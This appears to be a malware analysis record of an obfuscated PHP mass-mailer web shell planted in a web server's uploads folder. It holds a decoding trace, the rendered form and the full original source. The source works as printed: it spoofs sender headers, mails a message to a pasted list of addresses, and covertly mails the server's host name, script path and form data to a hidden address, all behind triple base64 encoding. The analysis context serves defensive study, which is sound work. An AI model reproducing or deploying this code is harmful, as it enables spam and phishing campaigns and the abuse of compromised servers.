3 81 0 0.003648 449352 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'PC9URVhUQVJFQT48L3A+PHA+RW5nZW5oYXJpYTo8YnI+PFRFWFRBUkVBIHJvd3M9NSBjb2xzPTEwMD4='
3 81 1 0.003666 449496
3 81 R '</TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100>'
3 82 0 0.003683 449224 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'VUVNNVZWSldhRlZSVmtwR1VWUTBPRXd6UVNzPQ=='
3 82 1 0.003698 449336
3 82 R 'UEM5VVJWaFVRVkpGUVQ0OEwzQSs='
3 83 0 0.003712 449304 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'UEM5VVJWaFVRVkpGUVQ0OEwzQSs='
3 83 1 0.003726 449392
3 83 R 'PC9URVhUQVJFQT48L3A+'
3 84 0 0.003740 449280 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'PC9URVhUQVJFQT48L3A+'
3 84 1 0.003752 449360
3 84 R '</TEXTAREA></p>'
2 A /var/www/html/uploads/lool.php 1 $bwdktnce_99f3e9311aba1afe226e1ba8656f2a7d = '<br><p>Emails:<br><TEXTAREA rows=5 cols=100></TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100></TEXTAREA></p>'
3 85 0 0.003786 449256 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'WkcxR2NBPT0='
3 85 1 0.003799 449328
3 85 R 'ZG1GcA=='
3 86 0 0.003812 449296 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'ZG1GcA=='
3 86 1 0.003824 449368
3 86 R 'dmFp'
3 87 0 0.003837 449296 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'dmFp'
3 87 1 0.003849 449360
3 87 R 'vai'
2 A /var/www/html/uploads/lool.php 1 $jvlwsdfj_cfa9ab22c2069501b12b136656d1bb5f = NULL
2 42 1 0.003881 447024
2 42 R NULL
2 88 0 0.003895 447024 base64_decode 0 /var/www/html/uploads/lool.php 20 1 'WW0wNWRGcFJQVDA9'
2 88 1 0.003908 447104
2 88 R 'Ym05dFpRPT0='
2 89 0 0.003921 447072 base64_decode 0 /var/www/html/uploads/lool.php 20 1 'Ym05dFpRPT0='
2 89 1 0.003934 447144
2 89 R 'bm9tZQ=='
2 90 0 0.003947 447064 base64_decode 0 /var/www/html/uploads/lool.php 20 1 'bm9tZQ=='
2 90 1 0.003960 447136
2 90 R 'nome'
2 91 0 0.003978 447024 base64_decode 0 /var/www/html/uploads/lool.php 26 1 'V2tkVlBRPT0='
2 91 1 0.003992 447096
2 91 R 'WkdVPQ=='
2 92 0 0.004005 447064 base64_decode 0 /var/www/html/uploads/lool.php 26 1 'WkdVPQ=='
2 92 1 0.004018 447136
2 92 R 'ZGU='
2 93 0 0.004030 447064 base64_decode 0 /var/www/html/uploads/lool.php 26 1 'ZGU='
2 93 1 0.004042 447128
2 93 R 'de'
2 94 0 0.004060 447024 base64_decode 0 /var/www/html/uploads/lool.php 31 1 'V1ZoT2VtUlhOVEJpZHowOQ=='
2 94 1 0.004074 447112
2 94 R 'WVhOemRXNTBidz09'
2 95 0 0.004087 447080 base64_decode 0 /var/www/html/uploads/lool.php 31 1 'WVhOemRXNTBidz09'
2 95 1 0.004100 447160
2 95 R 'YXNzdW50bw=='
2 96 0 0.004114 447072 base64_decode 0 /var/www/html/uploads/lool.php 31 1 'YXNzdW50bw=='
2 96 1 0.004126 447144
2 96 R 'assunto'
2 97 0 0.004148 447024 base64_decode 0 /var/www/html/uploads/lool.php 39 1 'WWxkV2RXTXlSbTVhVnpBOQ=='
2 97 1 0.004162 447112
2 97 R 'YldWdWMyRm5aVzA9'
2 98 0 0.004175 447080 base64_decode 0 /var/www/html/uploads/lool.php 39 1 'YldWdWMyRm5aVzA9'
2 98 1 0.004188 447160
2 98 R 'bWVuc2FnZW0='
2 99 0 0.004201 447072 base64_decode 0 /var/www/html/uploads/lool.php 39 1 'bWVuc2FnZW0='
2 99 1 0.004214 447144
2 99 R 'mensagem'
2 100 0 0.004231 447024 stripslashes 0 /var/www/html/uploads/lool.php 39 1 NULL
2 100 1 0.004243 447088
2 100 R ''
1 3 1 0.004257 447024
0.004293 347464
TRACE END [2023-02-12 21:22:48.606411]
Generated HTML code
<html><head><style type="text/css">
<!--
.style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.style6 {font-size: 10px}
.style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; }
-->
</style>
</head><body><form id="form1" name="form1" method="post" action="">
<input type="hidden" name="vai" value="1">
<span class="style5"></span>
<table width="415" height="334" border="0" bgcolor="#000000">
<tbody><tr>
<td width="66"><span class="style5">Name:</span></td>
<td width="321"><span class="style9">
<label>
<input name="nome" type="text" value="" size="20">
</label>
</span></td>
</tr>
<tr>
<td><span class="style5">From:</span></td>
<td><input name="de" type="text" value="" size="30"></td>
</tr>
<tr>
<td><span class="style5">Subject:</span></td>
<td><input name="assunto" value="" size="40"></td>
</tr>
<tr><td><span class="style5">letter:</span>
<br><br><br><br><br><br><br><span class="style5">mailist:</span></td>
<td><span class="style9">
<p><textarea name="mensagem" cols="50" rows="7"></textarea></p>
<textarea name="emails" cols="50" rows="4"></textarea>
</span></td>
</tr>
<tr>
<td><span class="style6"></span></td>
<td align="center"> <span class="style5"><font color="red" size="4"> <em><strong></strong></em><strong></strong></font></span><input name="Submit" type="submit" value="Send ">
<span class="style5"><font color="red" size="4"> <em><strong> </strong></em><strong></strong></font></span></td>
</tr>
<tr>
</tr>
</tbody></table>
</form>
<br></body></html>Original PHP code
<?php ignore_user_abort();set_time_limit(0);function xagtxxne_bfb24fad152ccef40e80de1bf5dd5096(){$yqcfckix_8842c447a57f179976288102e7340ea8=1;$buzautpa_487c1808b418116b73def4a7c20578cd[1]=$_POST[base64_decode(base64_decode(base64_decode('V2tkVlBRPT0=')))];$tzmgiiqm_5940fe21d39f43131eccf53d7c1c5d3d[1]=$_POST[base64_decode(base64_decode(base64_decode('WW0wNWRGcFJQVDA9')))];$vjwhffni_ef39544d0afe7c231870ae9527fa0b44[1]=$_POST[base64_decode(base64_decode(base64_decode('V1ZoT2VtUlhOVEJpZHowOQ==')))];$raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1]=$_POST[base64_decode(base64_decode(base64_decode('WWxkV2RXTXlSbTVhVnpBOQ==')))];$raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1]=stripslashes($raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1]);$cspulzmf_b80fe359594a2be5767802411478205a=$_POST[base64_decode(base64_decode(base64_decode('V2xjeGFHRlhlSG89')))];$dzmbbdru_be00ed31c76eba6d1e9b730fc79c75be=htmlspecialchars($_POST[base64_decode(base64_decode(base64_decode('V2xjeGFHRlhlSG89')))]);$eveijqsv_aeedeb4656ca1bd2282a807f58210d16=explode(base64_decode(base64_decode(base64_decode('UTJjOVBRPT0='))),$cspulzmf_b80fe359594a2be5767802411478205a);$bniqjojj_71ba3634b09874a07620cedbc3e7e7bd=count($eveijqsv_aeedeb4656ca1bd2282a807f58210d16);$foklwctl_0803be038580b1eae51e5106fd6f94e6=$_SERVER[base64_decode(base64_decode(base64_decode('VlRCV1UxWnJWbE5ZTURWQ1ZGVlZQUT09')))];$hxgycvgf_d7d08d3697b6637ec57bb777e5afec8c=$_SERVER[base64_decode(base64_decode(base64_decode('Vld0V1VsWlZWbFJXUmpsV1ZXdHJQUT09')))];$bqgtufkw_19ab8df2939ab9a22fbb8a70e914ed3a=@$_SERVER[base64_decode(base64_decode(base64_decode('VTBaU1ZWVkdPVk5TVlZwR1ZXdFdVdz09')))];$bwdktnce_99f3e9311aba1afe226e1ba8656f2a7d=''.$bqgtufkw_19ab8df2939ab9a22fbb8a70e914ed3a.base64_decode(base64_decode(base64_decode('VUVkS2VWQnFlSGRRYTFaMFdWZHNjMk42YnpoWmJra3JVRVpTUmxkR1VrSlZhMVpDU1VoS2RtUXpUVGxPVTBKcVlqSjRlbEJVUlhkTlJEUTk='))).$dzmbbdru_be00ed31c76eba6d1e9b730fc79c75be.base64_decode(base64_decode(base64_decode('VUVNNVZWSldhRlZSVmtwR1VWUTBPRXd6UVN0UVNFRXJVbGMxYmxwWE5XOVpXRXB3V1ZSdk9GbHVTU3RRUmxKR1YwWlNRbFZyVmtKSlNFcDJaRE5OT1U1VFFtcGlNbmg2VUZSRmQwMUVORDA9'))).$raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1].base64_decode(base64_decode(base64_decode('VUVNNVZWSldhRlZSVmtwR1VWUTBPRXd6UVNzPQ==')));$jvlwsdfj_cfa9ab22c2069501b12b136656d1bb5f=$_POST[base64_decode(base64_decode(base64_decode('WkcxR2NBPT0=')))];if($jvlwsdfj_cfa9ab22c2069501b12b136656d1bb5f){for($klnaffha_f5169e63037d242745a80b4672145f97=0;$klnaffha_f5169e63037d242745a80b4672145f97<$bniqjojj_71ba3634b09874a07620cedbc3e7e7bd;$klnaffha_f5169e63037d242745a80b4672145f97++){if($klnaffha_f5169e63037d242745a80b4672145f97==0){$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0=base64_decode(base64_decode(base64_decode('VkZWc1RsSlRNVmRhV0VwNllWYzVkVTlwUVhoTWFrRk9RMmM5UFE9PQ==')));$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0.=base64_decode(base64_decode(base64_decode('VVRJNWRXUkhWblZrUXpFd1pWaENiRTlwUWpCYVdHZ3dUREpvTUdKWGR6ZEpSMDV2V1ZoS2VscFlVVGxoV0U1MlRGUm5ORTVVYTNSTlVUQkw=')));$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0.="From: $tzmgiiqm_5940fe21d39f43131eccf53d7c1c5d3d[$yqcfckix_8842c447a57f179976288102e7340ea8] <$buzautpa_487c1808b418116b73def4a7c20578cd[$yqcfckix_8842c447a57f179976288102e7340ea8]>\r\n";$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0.="Return-Path: <$buzautpa_487c1808b418116b73def4a7c20578cd[$yqcfckix_8842c447a57f179976288102e7340ea8]>\r\n";}$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0=base64_decode(base64_decode(base64_decode('VkZWc1RsSlRNVmRhV0VwNllWYzVkVTlwUVhoTWFrRk9RMmM5UFE9PQ==')));$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0.=base64_decode(base64_decode(base64_decode('VVRJNWRXUkhWblZrUXpFd1pWaENiRTlwUWpCYVdHZ3dUREpvTUdKWGR6ZEpSMDV2V1ZoS2VscFlVVGxoV0U1MlRGUm5ORTVVYTNSTlVUQkw=')));$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0.="From: $tzmgiiqm_5940fe21d39f43131eccf53d7c1c5d3d[$yqcfckix_8842c447a57f179976288102e7340ea8] <$buzautpa_487c1808b418116b73def4a7c20578cd[$yqcfckix_8842c447a57f179976288102e7340ea8]>\r\n";$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0.="Return-Path: <$buzautpa_487c1808b418116b73def4a7c20578cd[$yqcfckix_8842c447a57f179976288102e7340ea8]>\r\n";$swzoqdvp_ba2b29badf92ef5ae110ba6676f96297++;$gpnosxge_a6615f3cfcd34f14438416a8163d526e=$eveijqsv_aeedeb4656ca1bd2282a807f58210d16[$klnaffha_f5169e63037d242745a80b4672145f97];$kjckycqo_edd2707212676bc52f26a61dea7f066f=rand(100000,999999);$ilotpgsb_037be3960208cb705d7282ed4a2763ba=rand(100000,999999);$dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869=str_replace(base64_decode(base64_decode(base64_decode('U2xoS2FHSnRVV3c9'))),$kjckycqo_edd2707212676bc52f26a61dea7f066f,$raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[$yqcfckix_8842c447a57f179976288102e7340ea8]);$dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869=str_replace(base64_decode(base64_decode(base64_decode('U2xoS2FHSnRVWGxLVVQwOQ=='))),$ilotpgsb_037be3960208cb705d7282ed4a2763ba,$dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869);$dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869=str_replace(base64_decode(base64_decode(base64_decode('U2xkV2RGbFhiSE5LVVQwOQ=='))),$gpnosxge_a6615f3cfcd34f14438416a8163d526e,$dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869);$hjnvzmhs_3c77c5da06dd4e13e0997957922f68ac=mail($gpnosxge_a6615f3cfcd34f14438416a8163d526e,$vjwhffni_ef39544d0afe7c231870ae9527fa0b44[$yqcfckix_8842c447a57f179976288102e7340ea8],$dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869,$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0);if($hjnvzmhs_3c77c5da06dd4e13e0997957922f68ac){echo(base64_decode(base64_decode(base64_decode('VUVkYWRtSnVVV2RaTWpsellqTkpPVWx0WkhsYVYxWjFTV28wUFE9PQ=='))).$swzoqdvp_ba2b29badf92ef5ae110ba6676f96297.base64_decode(base64_decode(base64_decode('VEZFOVBRPT0='))).$gpnosxge_a6615f3cfcd34f14438416a8163d526e.base64_decode(base64_decode(base64_decode('U1VSQ2NrbFVkM1phYlRsMVpFUTBPRmx1U1NzPQ=='))));}else{echo(base64_decode(base64_decode(base64_decode('VUVkYWRtSnVVV2RaTWpsellqTkpPVWx1U214YVEwa3I='))).$swzoqdvp_ba2b29badf92ef5ae110ba6676f96297.base64_decode(base64_decode(base64_decode('VEZFOVBRPT0='))).$gpnosxge_a6615f3cfcd34f14438416a8163d526e.base64_decode(base64_decode(base64_decode('U1VRd2IxQkRPVzFpTWpVd1VHcDRhV05xTkQwPQ=='))));sleep(1);}}}}$voknzgoa_3d9e53c042906eb225e3e9ab3663bf6c=getenv(base64_decode(base64_decode(base64_decode('Vld0V1RsUXhVa1pZTUVaRlVrWkpQUT09'))));$kksvsbcx_f5c9b561d094d30ff587b60198fc2163=rand(1,99999);$oiuenqpx_7200f7d840b7c7875f20e2060333112c="Sendi $voknzgoa_3d9e53c042906eb225e3e9ab3663bf6c";$fnkcacrs_d1f0c8cc50d2afb200d0039ad601e4f6=base64_decode(base64_decode(base64_decode('WkVkb2FHUXlSbk5aVjBab1VVZGtkRmxYYkhOTWJVNTJZbEU5UFE9PQ==')));$qncfpprn_6b89b38aa18f7cde5e8736cf92f51a34=base64_decode(base64_decode(base64_decode('VW01S2RtSlViMmRSYm10blYwZEtkbUl5TVdsYVdFbG5VRVZLU2xSVk9VRk5hekIxVmtaWkt3PT0=')));$anzvksrj_03248db383d3827444b2009dcbf3f243=$_SERVER[base64_decode(base64_decode(base64_decode('Vld0V1VsWlZWbFJXUmpsV1ZXdHJQUT09')))];$eyhbjfgw_8a8842f21ff64356ac7864f4c46823f8=$_SERVER[base64_decode(base64_decode(base64_decode('VTBaU1ZWVkdPVWxVTVU1Vg==')))];$lvxhvtvm_5276de9d13f4b30cc6adf839a4867f1b=$_POST[base64_decode(base64_decode(base64_decode('V2tkVlBRPT0=')))];$mvrpchrr_e4d0635aa752aba2945d07a72632077d=$_POST[base64_decode(base64_decode(base64_decode('WW0wNWRGcFJQVDA9')))];$fgvxdetp_409458d6f923595850fc983220f2975a=$_POST[base64_decode(base64_decode(base64_decode('V1ZoT2VtUlhOVEJpZHowOQ==')))];$tsjfvcku_53ed439f9321ed83ff7b62585c9efda1=$_POST[base64_decode(base64_decode(base64_decode('WWxkV2RXTXlSbTVhVnpBOQ==')))];$qudcqelr_ceabdae83d6c0981f4265713fc870cdd=$_POST[base64_decode(base64_decode(base64_decode('V2xjeGFHRlhlSG89')))];$bnkwbnry_1f7219f5f51e18fb2bf341d8604bcbc0=$voknzgoa_3d9e53c042906eb225e3e9ab3663bf6c.base64_decode(base64_decode(base64_decode('UTJjOVBRPT0=')));$ktqhtslf_70ba9bcae150ffdf1f666ad2db96a5ef="$anzvksrj_03248db383d3827444b2009dcbf3f243\n$eyhbjfgw_8a8842f21ff64356ac7864f4c46823f8\n$lvxhvtvm_5276de9d13f4b30cc6adf839a4867f1b\n$mvrpchrr_e4d0635aa752aba2945d07a72632077d\n$fgvxdetp_409458d6f923595850fc983220f2975a\n$tsjfvcku_53ed439f9321ed83ff7b62585c9efda1\n$qudcqelr_ceabdae83d6c0981f4265713fc870cdd\n$bnkwbnry_1f7219f5f51e18fb2bf341d8604bcbc0";mail($fnkcacrs_d1f0c8cc50d2afb200d0039ad601e4f6,$oiuenqpx_7200f7d840b7c7875f20e2060333112c,$ktqhtslf_70ba9bcae150ffdf1f666ad2db96a5ef,$qncfpprn_6b89b38aa18f7cde5e8736cf92f51a34);?>
<style type="text/css">
<!--
.style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.style6 {font-size: 10px}
.style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; }
-->
</style>
<form id="form1" name="form1" method="post" action="">
<input type="hidden" name="vai" value="1">
<span class="style5"><?php echo xagtxxne_bfb24fad152ccef40e80de1bf5dd5096();?></span>
<table width="415" height="334" border="0" bgcolor="#000000">
<tr>
<td width="66"><span class="style5">Name:</span></td>
<td width="321"><span class="style9">
<label>
<input name="nome" type="text" value="<?php echo $_POST[base64_decode(base64_decode(base64_decode('WW0wNWRGcFJQVDA9')))];?>" size="20" />
</label>
</span></td>
</tr>
<tr>
<td><span class="style5">From:</span></td>
<td><input name="de" type="text" value="<?php echo $_POST[base64_decode(base64_decode(base64_decode('V2tkVlBRPT0=')))];?>" size="30" /></td>
</tr>
<tr>
<td><span class="style5">Subject:</span></td>
<td><input name="assunto" value="<?php echo $_POST[base64_decode(base64_decode(base64_decode('V1ZoT2VtUlhOVEJpZHowOQ==')))];?>" size="40" /></td>
</tr>
<td><span class="style5">letter:</span>
<br /><br /><br /><br /><br /><br /><br /><span class="style5">mailist:</span></td>
<td><span class="style9">
<p><textarea name="mensagem" cols="50" rows="7"><?php echo stripslashes($_POST[base64_decode(base64_decode(base64_decode('WWxkV2RXTXlSbTVhVnpBOQ==')))]);?>
</textarea></p>
<textarea name="emails" cols="50" rows="4"></textarea>
</span></td>
</tr>
<tr>
<td><span class="style6"></span></td>
<td align="center"> <span class="style5"><font color="red" size="4"> <em><strong></strong></em><strong></strong></font></span><input name="Submit" type="submit" value="Send " />
<span class="style5"><font color="red" size="4"> <em><strong> </strong></em><strong></strong></font></span></td>
</tr>
<tr>
</tr>
</table>
</form>
<br>